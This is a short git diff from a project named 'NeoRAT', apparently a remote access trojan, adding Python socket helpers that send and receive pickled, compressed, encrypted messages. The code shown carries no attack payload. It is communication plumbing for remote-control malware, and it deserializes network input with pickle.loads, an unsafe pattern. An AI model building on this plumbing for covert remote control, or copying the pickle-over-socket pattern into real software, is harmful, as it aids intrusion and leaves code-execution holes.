NeoRATHEADmain

2 files changed, 39 insertions, 0 deletions

diff --git a/binary/data_handling/recv_data.py b/binary/data_handling/recv_data.py
new file mode 100644
index 0000000..a329532
--- /dev/null
+++ b/binary/data_handling/recv_data.py
@@ -0,0 +1,26 @@
+import pickle
+import zlib
+
+
+def recv_data(conn, settings, callback=None):
+	encryption, headersize = settings
+	mode = [True, 0, b'']
+
+	while True:
+		client_msg = conn.recv(81920)
+
+		if mode[0]:
+			mode[1] = int(client_msg[:headersize])
+			mode[0] = False
+
+		mode[2] += client_msg
+
+		if len(mode[2])-headersize == mode[1]:
+			decrypted_msg = encryption.do_decrypt(mode[2][headersize:])
+			decompressed_msg = zlib.decompress(decrypted_msg)
+			client_msg = pickle.loads(decompressed_msg)
+
+			if callback:
+				callback(conn, client_msg)
+
+			return client_msg
\ No newline at end of file
diff --git a/binary/data_handling/send_data.py b/binary/data_handling/send_data.py
new file mode 100644
index 0000000..4622fbb
--- /dev/null
+++ b/binary/data_handling/send_data.py
@@ -0,0 +1,13 @@
+import pickle
+import zlib
+
+
+def send_data(conn, data, settings, extra_data={}):
+	encryption, encoding, headersize = settings
+	data.update(extra_data)
+
+	pickled_msg = pickle.dumps(data)
+	compressed_msg = zlib.compress(pickled_msg, 5)
+	encrypted_msg = encryption.do_encrypt(compressed_msg)
+	final_msg = bytes(f'{len(encrypted_msg):<{headersize}}', encoding) + encrypted_msg
+	conn.send(final_msg)
\ No newline at end of file